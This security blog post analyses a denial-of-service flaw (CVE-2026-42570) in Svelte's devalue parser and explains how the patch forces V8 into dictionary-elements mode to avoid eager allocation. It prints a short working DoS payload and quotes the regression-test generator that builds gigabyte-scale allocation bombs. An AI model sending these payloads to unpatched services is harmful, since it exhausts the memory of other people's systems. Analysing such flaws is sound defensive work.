//nefariousplan

CVE-2026-42570: Svelte devalue Passes The Wire's Length Field To `new Array`. V8 Allocates It Before The Validator Runs.

vendor

patterns

cve

proof of concept

devalue is the wire format Svelte ships for serializing JavaScript values into JSON. Its sparse-array encoding is documented in the source as [SPARSE, length, idx, val, idx, val, ...], with SPARSE being the sentinel number -7. devalue 5.6.3 through 5.8.0 took the length field straight off the wire and passed it to new Array(length). V8 eagerly allocates a contiguous backing store for any array length below approximately 10^8. The wire field is between four and ten ASCII digits of JSON. The allocation it triggers is gigabytes. CVE-2026-42570 is what Elliott Johnson's patch in 5.8.1 closed about that, and the fix is not the bounds check the advisory implies.

new Array(n) is not lazy in V8

The patch's own source comment is unusually candid about which engine and which threshold. In src/parse.js at the SPARSE branch:

// Setting `array.length = len` (or equivalently calling `new Array(len)`)
// on an untrusted `len` is a DoS vector: V8 eagerly allocates a
// contiguous backing store for array lengths below ~10^8, so a
// small payload with a huge declared length can force arbitrary
// memory allocation. Touching the largest-possible index first
// forces V8 into dictionary-elements mode, where `length` is
// just a number and no contiguous allocation occurs.

V8 represents arrays as one of several internal "elements kinds" depending on what the array contains and how it has been written to. For an array constructed with new Array(n) where n sits below an internal threshold, the elements kind is HOLEY_ELEMENTS and the backing store is a contiguous FixedArray of length n. The slots are filled with the hole sentinel, but the slots themselves exist on the heap. On a 64-bit V8 each slot is eight bytes. new Array(100_000_000) is 800 megabytes of committed memory before the next line of JavaScript runs.

The threshold the patch comment cites as roughly 10^8 is the heuristic V8 uses to decide between HOLEY_ELEMENTS and DICTIONARY_ELEMENTS. Below the threshold, V8 commits the backing store eagerly because for ordinary usage the array will be densely written and the FixedArray is faster than a hash table. Above it, V8 demotes to a dictionary representation where length is a number on the array's hidden class and no contiguous storage exists until indices are written. The bug CVE-2026-42570 names in devalue 5.6.3 through 5.8.0 lives entirely below the threshold; attacker-controlled length values up to roughly 10^8 are exactly the range V8 commits eagerly.

The advisory text reads: "due to quirks in some JavaScript engines, [devalue.parse could be] convinced to allocate much more memory than was needed when deserializing sparse arrays." These are not quirks. The patch's source comment names V8 by name, names the ~10^8 threshold, and names dictionary-elements mode by name. The "quirks in some JavaScript engines" language is the public framing. The developer-internal documentation is the technical truth.

The wire field is free. The allocation is real.

A complete sparse-array DoS payload, in JSON:

[-7,100000000,0,1]

That is eighteen bytes. devalue.parse on this input, pre-patch, executes new Array(100000000). V8 commits 800 megabytes. The amplification ratio of declared-length bytes to allocated bytes is roughly one to forty-four million.

The amplification scales with len: every additional ASCII digit in the length field multiplies the allocation by ten while adding one byte to the payload. The asymptotic ratio is O(len / log10(len)). A 32-byte payload, well under the size of a single TCP segment, triggers gigabyte allocations. A 1KB payload that bundles 25 such sparse arrays in one envelope triggers tens of gigabytes, which is precisely what the patch's regression test demonstrates.

The patch's regression test is a 20-gigabyte PoC in under a kilobyte

The GHSA advisory (GHSA-77vg-94rm-hx3p) does not link to PoC code. The advisory page renders one short paragraph of prose, a CVSS vector, three credits, and a patched-version note. Nothing operational.

The same patch commit (206ca67) ships seventy-seven lines of additions to test/index.test.js. Lifted verbatim, the helper:

function buildSparseDoSPayload(count, perArrayLen) {
	let payload = '[{';
	for (let i = 0; i < count; i += 1) {
		if (i > 0) payload += ',';
		payload += `"k${i}":${i + 1}`;
	}
	payload += '}';
	for (let i = 0; i < count; i += 1) {
		payload += `,[${consts.SPARSE},${perArrayLen},0,${count + 1}]`;
	}
	payload += ',42]';
	return payload;
}

The matrix of cases the test loops over:

const sparseDoSCases = [
	{ perArrayLen: 10_000, count: 250_000 },
	{ perArrayLen: 100_000, count: 25_000 },
	{ perArrayLen: 1_000_000, count: 2_500 },
	{ perArrayLen: 10_000_000, count: 250 },
	{ perArrayLen: 100_000_000, count: 25 }
];

The comment above the matrix tells the reader what each row totals: roughly 2.5 billion slots, around twenty gigabytes at eight bytes per pointer slot. The largest single payload in the matrix is the 100,000,000-by-25 row. Serialized as JSON, that envelope is under a kilobyte. The smallest payload that crashes a default Node.js process running pre-patch devalue would fit in a single HTTP request body.

This is the patch-test-is-the-disclosure pattern. The advisory withheld the chain, the patch shipped the smallest input that reproduces it. The Jenkins gadget chain in CVE-2026-53435 is the canonical exhibit of the pattern; devalue's sparse-array regression test is the same shape on a different evidentiary stack. Regression tests for the patched primitive are by construction the smallest input that reproduces it. For deserialization bugs, that input IS the working exploit. buildSparseDoSPayload is twenty-six lines of weaponizer code, committed by the maintainer, public on GitHub, sitting twenty-six lines below an advisory that says no PoC was referenced.

The fix is not validation. The fix demotes the array to dictionary-elements mode.

Read the diff. The lines that close CVE-2026-42570 are not the bounds checks. The lines that close the bug are these:

-		const array = new Array(len);
+		/** @type {any[]} */
+		const array = [];
 		hydrated[index] = array;

+		// Setting `array.length = len` ... on an untrusted `len` is a DoS vector
+		array[MAX_ARRAY_INDEX] = undefined;
+		delete array[MAX_ARRAY_INDEX];

 		for (let i = 2; i < value.length; i += 2) {
 			const idx = value[i];
-			if (!Number.isInteger(idx) || idx < 0 || idx >= len) {
+			if (!is_valid_array_index(idx) || idx >= len) {
 				throw new Error('Invalid input');
 			}
 			array[idx] = hydrate(value[i + 1]);
 		}
+
+		array.length = len;

The first change replaces new Array(len) with []. The array starts at length zero. No backing store is committed.

The second change is the load-bearing one. Write undefined to array[MAX_ARRAY_INDEX], which the new src/constants.js defines as 2 ** 32 - 2 = 4,294,967,294. V8 sees a write to an index this far above the current length and transitions the array's elements kind from HOLEY_ELEMENTS to DICTIONARY_ELEMENTS rather than committing a 32GB backing store to hold the single write. The next line, delete array[MAX_ARRAY_INDEX], removes that index from the dictionary. The array is empty again, and pinned in dictionary mode.

The third change, at the bottom, is array.length = len. This line in the pre-patch code was the cause of the bug, written as new Array(len). In the post-patch code it runs on an array that V8 has already demoted. Length assignment in dictionary mode is metadata: V8 updates the array's length property to len without allocating a backing store. The wire's declared length still arrives at V8. V8 no longer acts on it eagerly.

The bounds check in is_valid_array_len, also added in this commit, validates that len is a non-negative integer below 2^32. That check is required because array.length = len raises a RangeError for values outside that range, and validating up front avoids the throw. The bounds check is hygiene. The bounds check is not the fix.

MAX_ARRAY_INDEX is 4,294,967,294. The bounds check accepts that.

The patch's new constants:

export const MAX_ARRAY_LEN = 2 ** 32 - 1;
export const MAX_ARRAY_INDEX = MAX_ARRAY_LEN - 1;

is_valid_array_len rejects values above MAX_ARRAY_LEN, which is 4,294,967,295. Eager allocation of that many pointer slots on a 64-bit V8 is thirty-four gigabytes. The validation alone does not prevent denial of service; it prevents array.length = len from raising. The demotion is what prevents the allocation.

The fix is not the bounds check. The fix is the line right after it that writes to index 4,294,967,294 and deletes it the next instruction.

The wire format still names the length

The patch does not change the wire format. devalue 5.8.1 serializes sparse arrays the same way 5.6.3 did: [-7, length, idx, val, idx, val, ...]. The producer still declares the length up front. The parser cannot reconstruct it from the indices alone, because the sparse encoding's whole purpose is to elide indices that have no values. The length field is structurally required by the format.

What changed is the parser's relationship with V8. The wire still claims authority over allocation; the parser has stopped granting it. The primitive of "wire declares allocation size" remains in devalue's design. The fix moved materialization to a layer V8 cannot eagerly act on.

This pattern recurs. Wire formats that declare container sizes in length-or-count fields, and then feed those fields to runtime constructors that default to eager allocation, appear in every major binary serializer this decade: protobuf's repeated field decoders calling Vec::with_capacity, BSON parsers allocating document buffers from the declared length prefix, Java deserialization's readArrayHeader followed by new Object[len], Python pickle's EXT1 and LONG_BINPUT. The class name is declared size is allocation: the size field's bytes are cheap, the constructor the parser hands the size to is not. Patches close instances by deferring materialization or by replacing eager constructors with lazy containers; the wire format keeps the length field because the protocol requires it. The amplification primitive is structural to the wire and the runtime's default constructor at the same time.

PoC: sveltejs/devalue (the patch's test/index.test.js)

devalue 5.8.1 still trusts the length field. It trusts it lazily.